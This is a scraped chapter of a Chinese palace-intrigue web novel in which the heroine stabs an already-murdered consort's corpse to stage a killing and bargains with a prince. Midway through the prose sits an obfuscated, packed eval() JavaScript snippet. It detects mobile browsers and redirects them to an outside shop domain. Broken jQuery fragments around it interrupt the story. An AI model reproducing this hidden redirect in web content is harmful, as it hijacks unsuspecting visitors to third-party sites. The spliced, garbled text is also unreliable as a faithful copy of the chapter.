文趣网 > 其他小说 > 铁袖红袂(权谋) > 25. 你要赖账?
    黎琰俯身,牵起李双凌的手,两袖交叠时,李双凌从袖底摸到一个冰冷的物件。

    一把匕首。

    手指掠过,便触到其上精心雕饰的花纹。

    这样美丽的花纹,竟铸在这杀人的工具上,怎么能说不是一种折辱……李双凌一笑,想递回给他,他知道的,她不会用刀,她杀人也无需用刀。

    匕首刚递回去,便又感受到阻挡的力,黎琰又将匕首推了回来,一笑道:“就用这个。”

    夜,森凉。

    寝殿之外,听见花瓶碎裂声音的侍女纷纷赶来,推开门却只见肃王与女子袖子相叠,举止亲密,八成是情动之时动作太大跌碎了花瓶,都很有眼色地退下,合上门,对视一眼,难掩惊讶——

    出连娘子在宫里住了这么久,殿下却从没碰过她,就连新婚之夜,都是分房而睡的……而这自荐枕席的女子,竟如此轻易爬上了殿下的床……

    片刻,刚才的女子从寝殿内走了出来,脚步忽然一顿,抬头望着天上皎月,背影中似乎有些怅然。

    而后,头也不回地离开。

    ***

    在侍女们看不到的角落,李双凌站在出连明珠的寝宫窗外,伫立良久。

    说不清是在犹豫还是在谋算,她的神色晦暗,良久无语。

    而后,从那大开着的窗户,无声潜进去。

    斑驳的床幔随风轻摆,隐隐露出床上平躺女子高挺的鼻梁。她睡得深沉,房内半点响动不闻,李双凌却直觉地感觉不对。

    ……跟风一起吹来的,除了熏香,还有微微的血腥气。

    床幔是半透明的纱帘,间或点缀着大小不一墨点般的图案,李双凌狐疑看着那图案,心里忽然有种不太妙的预感。

    她下意识握紧匕首,用刀尖挑开纱帘,眼前景象却让她忍不住战栗。

    异域女子正大睁着眼睛,死死瞪着李双凌!

    李双凌一惊,下意识要动手,匕首几乎刺向出连明珠的脸,却悬悬停住。

    ……床上女子,没有半点反应。

    她赤身躺在床上,捂着脖颈,胸前的被子已经被血洇成暗红一片,浓重的血腥气息扑面而来,却无半点生命的跳动。

    房间里,只有风声寂静。

    ……还有月色冰冷。

    女子因失血过多而变得苍白的皮肤,此刻在月光映照下泛起淡而诡异的青绿色,而她的表情此刻双目圆睁,似乎极为惊诧。

    ……

    今夜,要杀她的人,不止黎琰一个。

    是二皇子黎舟的人?

    想不通,也无法去想,李双凌在心底叹了口气,隔着纱幔,将出连明珠的眼皮阖上。

    进这间屋子之前,她犹豫了很久,究竟是不是真的要为了陈潜而杀死出连明珠?如果不动手,她可能今夜无法全须全尾地离开肃王府。

    可如果动手,她将无法原谅自己。

    如果不是她的鲁莽,本来不用让任何人处于危险的境地之中,她责怪自己,为什么不再多考虑几步?为何只是看到了细枝末节,就以为自己看到了事情的全貌,自以为是地独闯肃王府,以为一个小秘密就能交换出陈光义的命——

    她以为自己是北析童话中走入魔龙宫殿的骑士,可事实是,她不仅不是骑士,还连累了无辜之人一起成为了魔龙的祭品。

    ……她不愿,有任何人,因她的错误而受到伤害。

    她犹豫那么久,却没想到,此时情况已经无需她再去纠结——以一种出人意料的方式,出连明珠宽恕了她。

    李双凌掀开被子,出连明珠的身体微凉,肌肤没有完全失去弹性,却也与活人迥异,手指用力碰过的地方回弹得很缓慢,有些诡异的触感。

    拭去血痕,通身完好。

    伤口,只在颈间。

    李双凌掰开她捂着脖子的手,擦去血迹,果然看见颈间三个血点,伤口细小如虫咬,利落果决,看来是一击毙命。

    李双凌歪着头看这伤口,品字形的三个创口,太明显了。

    北析传统兵器破影刺,形似长剑,剑锋却是三面开刃。可这兵器实在太长,刺在胸膛、大腿都容易,却不容易刺在脖子上。而且带着破影刺在肃王府里行走也未免太招摇,唯一的可能……

    李双凌忍不住扶了扶自己的发髻。

    是发簪?

    北析与橡罗曾经流行过一种剑簪,就是模仿破影刺制成,李双凌也有这样的发簪。可也就只是发簪而已——只不过是模仿其形,却做不到如真正的破影刺那般锋利。

    李双凌掏出黎琰给的匕首,闭上眼睛,往出连明珠的胸口刺去。

    ……她曾因切磋拳脚跟人动手,为姊妹义气与人动手,为保护奶娘的遗物跟人动手,为报复黎琰而跟人动手……

    却从未。

    从未对一具尸体落刀。

    她的血依然在淌,却是无比缓慢,慢得仿若静止。

    李双凌用帕子沾取匕首上的血,轻轻沾到自己的脸上。

    然后,她绕过屏风,从大门直直离开出连明珠的房间。

    冷月无声。

    在月色的阴影里,她没注意到,自己落脚之处,有半枚极小的血脚印。

    ***

    走出房门,又一径走出这冷清的院子,有风,带一阵清凉气息,将血腥气吹散。

    李双凌仰头望着天空,重获新生般,大口大口呼吸着。

    不远处的凉亭里,柱子后探出一张脸,戏谑般笑道:“第一次杀人?”

    “……”李双凌不想回答,此时此刻,她完全不想与黎琰有任何交流,除非迫不得已。

    黎琰也不求她回答,缓步走到她身前,取出一方帕子,递到李双凌手上。后者不接,他也不恼,索性亲自为她擦却双颊血迹,心里想到了些什么,面上便也带了轻快的笑,手上动作带了连自己都没察觉到的温柔。

    ——现在我们都一样。

    一样的沾了血,一样的杀了人,谁也不比谁卑鄙,谁也不比谁清高。

    都一样……

    李双凌下意识抬手阻挡,帕子便随风而落,点点血迹如红梅,落在惊蛰后生动苏醒的泥土中。

    她沾着血的脚尖,在那帕子上,碾了碾。

    面上便多了些冷淡的决然,捧上匕首,道:“殿下可以进去验尸了。”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918682|213402||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    黎琰冷冷“嗯”了一声,却没看她,而是望着泥泞中的帕子,眯了眯眼。

    她讨厌他。

    嗯,她的确应该讨厌他。他欺负她,他带来欺凌和杀戮,他恶名昭彰,他所行之处总有血腥。

    可他终会站在权力之巅,而眼前这年轻不知世事的女子,终有一日会明白,真正能让她发挥价值发挥作用,真正值得她帮助和扶持的,只有黎琰一人。

    呵呵……不知以后的她,回想起今日,为一个平庸得不能再平庸的布衣少男,沾了满手罪恶之血……会不会后悔?

    没关系,他会留她在身边,慢慢等。

    等她被背叛,被辜负,终于知道人情冷漠人心单薄,终于知道自己一腔热血是多么愚蠢的,那一天。

    他忽然淡淡一笑,“今夜,你就留在这里。”

    李双凌怔了怔,嘴唇动了动,还未说出什么,疑问的眼神已经射过来。

    “怎么,你忘了?……你马上就会是本王的王妃……”

    他的尾音拖得长长,在夜色中沉沉,带一些金尊玉贵皇室男子少有的柔情,天下万千女子听了都要动容沉沦,听在李双凌耳中,她却不由得起了一身的鸡皮疙瘩,垂眸凉凉道:“贵府妾室新丧,殿下就要另娶么?”

    黎琰挑挑眉,“你要赖账?”

    李双凌摇摇头,微笑中更多是苦涩,“我自然不会赖账,正如殿下不会赖账一样。”

    “好,很好……”黎琰一笑,接过她手中匕首,“你放心……本王说话算话。”

    “嗯。”李双凌沉吟片刻,“我今夜要回德清堂的。如果我明天还没回去,我的密信会寄到李康手上,你娶了北析女人的消息会随他的奏折一起传给陛下。”

    “哦?”黎琰眉毛一挑,沉思片刻,“你还真没我想象中那么蠢。”

    李双凌听懂他话里意思——敢情他以为她没留任何后手就闯了空门?不过,她那时的所谓后手,如今看来也毫无震慑力,只不过徒增笑耳。半晌微微一笑,“能走到殿下身边的人,自然不会是蠢人。”

    “那是最好……可我怎么知道,你回去以后,奏折不会依然传给陛下?”

    他说着,手轻轻一挑,李双凌顿时感到颈间一冷,肌肤立刻起了一阵鸡皮疙瘩,坚硬的刀背硌在柔软的皮肤上,让她不由得抬起下巴,深吸了一口气。

    黎琰饶有兴致地盯着她的脸,她闭着眼,长睫微微颤动,下巴抬起一个优雅而高傲的弧度,即使是在他的匕首之下,她依然是这样昂然的姿态。

    很有趣。

    更有趣的是,看她的表情,似乎马上要生气了。

    也许是错觉,倒觉得她的脾气和耐心,比以往要好很多呢……

    就在李双凌的耐心即将失守之时,她睁开眼,却看见黎琰站在一步之外,墨玉般眸子映着月光,微笑看着她。

    匕首在手上,手却是自然垂落的。

    若不是现在颈间肌肤仍有微微的疼,她似乎都要让为,刚才那一幕根本没有发生过。

    “用人不疑,疑人不用。”黎琰轻拂刀把上花纹,唇角笑意极淡,“你且回,明晚我会派人去接你。”